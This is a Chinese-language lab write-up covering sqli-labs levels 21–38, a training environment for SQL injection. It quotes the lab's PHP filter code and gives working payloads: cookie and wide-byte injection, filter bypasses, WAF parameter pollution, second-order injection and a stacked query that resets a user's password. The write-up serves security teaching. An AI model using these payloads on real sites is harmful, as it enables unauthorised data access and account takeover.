sqli-labs通关之路-中

Page-2

Less-21 基基于错误的单引号字符型Cookie注入

首先利用admin admin弱口令成功登入

抓包查看发现cookie被进行了Base64编码admin->YWRtaW4=

因此我们需要将Payload进行编码后进行测试 添加单引号发现报错 为单引号闭合

之后尝试将上一关的Payload进行Base64编码后进行报错注入

回显正确 存在报错注入

Less-22 基于错误的双引号字符型Cookie注入

与前一关类似

Less-23 基于错误的,过滤注释的GET型

首先查看后端源码发现注释符被过滤

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

之后输入单引号发现报错,猜测为单引号闭合,所以尝试用单引号闭合去绕过注释

测试?id=1' and '1'='1正常

测试?id=1' and '1'='2回显异常

因为不能使用order by,所以用select判断字段

?id=-1' union select 1,2,3 and '1'='2正常,判断为3列,且回显点为2,构造Payload2处进行注入即可

Less-24 二次注入

查看注册时源码发现存在mysql_escape_string关键字过滤(转义)

$username=  mysql_escape_string($_POST['username']) ;
	$pass= mysql_escape_string($_POST['password']);
	$re_pass= mysql_escape_string($_POST['re_password']);

但是插入数据库的内容还原回了回去

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

修改密码处源码发现username处未进行过滤

	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);

因此可能存在二次注入

首先注册一个名为admin '#的账户

之后登录此账户 点击修改密码

因为用户名被直接带入SQL语句中执行,所以最终执行的语句为

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";

所以成功修改了admin账户的密码

Less-25 过滤or与and

查看源码发现,后端过滤了andor参数,将其替换为空

$id= blacklist($id);

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

所以这里使用双写绕过

Payload:?id=-1' union select 1,2,3 aandnd '1'='2

Less-25a 过滤or与and的盲注

双写绕过,不使用单引号闭合

Payload:?id=-1 union select 1,user(),3 aandnd 1=2

Less-26 过滤注释和空格的注入

首先单引号报错,判断为单引号闭合

经过常用Payload测试发现过滤了and 注释以及空格

常见空格绕过:

  • %09 Tab键(水平)
  • %0a 新建一行
  • %0c 新的一页
  • %0d return 键
  • %0b Tab键(垂直)
  • %a0 空格
  • () 绕过

之后使用报错注入 双写绕过 ()绕过 %00截断 进行注入

?id=1' aandnd (updatexml(1,concat(0x7e,(user()),0x7e),1));%00

或者配合 单引号闭合绕过注释

?id=1' aandnd (updatexml(1,concat(0x7e,(user()),0x7e),1))anandd'1'='1

Less-26a 过滤注释和空格的盲注

查看源码 找出过滤数据

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

之后手工测试

单引号 报错
双引号 正常
两个单引号 正常

所以判断为单引号闭合

?id=1'anandd'1'='1正常
?id=1'anandd'1'='2页面异常

构造盲注Payload:1'anandd(substr((database()),1,1)='s')anandd'1'='1

Less-27 过滤union和select

查看源码 发现还过滤了空格和注释

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

这里使用大小写绕过 %09代替空格 用%00截断代替注释

构造Payload:?id=id' UNIOn%09SelEct%091,2,3;%00

Less-27a 基于双引号 过滤union和select的注入

与上一题类似,更改为双引号闭合

Payload:?id=id" UNIOn%09SelEct%091,2,3;%00

Less-28 基于错误 有括号单引号字符型 过滤union和select等的注入

查看源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

这里主要对union select进行了正则替换,所以为我们双写绕过

Payload:?id=id')%0Aunion%0Aunion%0Aselect%0Aselect%0A1,user(),3;%00

Less-28a 基于盲注 有括号的单引号字符型 过滤union和select等的注入

$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.

查看源码发现,只过滤了union select,所以直接复用Payload???

Payload:?id=id')%0aunion%0aunion%0Aselect%09select%091,user(),database();%00

Less-29 基于WAF注入

WAF服务器(tomcat)只解析重复参数里面的前者,而真正的WEB服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容

所以重复传参,并将Payload置于后一个参数处即可

Payload:?id=1&id=-1' union select 1,2,3--+

Less-30 基于WAF盲注

利用双引号进行闭合即可

Payload:?id=1&id=-1" union select 1,2,3--+

Less-31 基于WAF保护

更改为双引号加括号闭合

Payload:?id=1&id=-1") union select 1,2,3--+

Less-32 Bypass 自定义过滤器

查看源码

$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);

发现使用了preg_replace()将单引号、双引号和反斜杠进行了转义,所以这里使用宽字节注入

Payload:?id=-1%df' union select 1,2,3--+

Less-33 Bypass addslashes()

与上一关原理相同,复用Payload

Payload:?id=-1%df' union select 1,2,3--+

Less-34 Bypass 添加斜杠

基于POST的宽字节注入

Payload:uname=admin%df' union select 1,2#&passwd=admin&submit=Submit

Less-35 为什么要关注addslashes()

普通数字型注入

Payload:?id=-1 union select 1,2,3--+

Less-36 绕过MySQL的真实转义字符串

查看源码 发现使用mysql_real_escape_string函数转义

$string= mysql_real_escape_string($string);   

同样使用宽字节注入绕过

Payload:?id=-1%df' union select 1,2,3--+

Less-37- MySQL_real_escape_string

POST型宽字节注入,与Less-34类似

Payload:uname=admin%df' union select 1,2#&passwd=admin&submit=Submit

Less-38 堆叠注入

堆叠使用update语句更新Dumb的密码

Payload:?id=1';update users set password='12345' where username='Dumb';--+

posted @ 2022-08-26 15:55  Haibara-Z3r0  阅读(38)  评论(0编辑  收藏  举报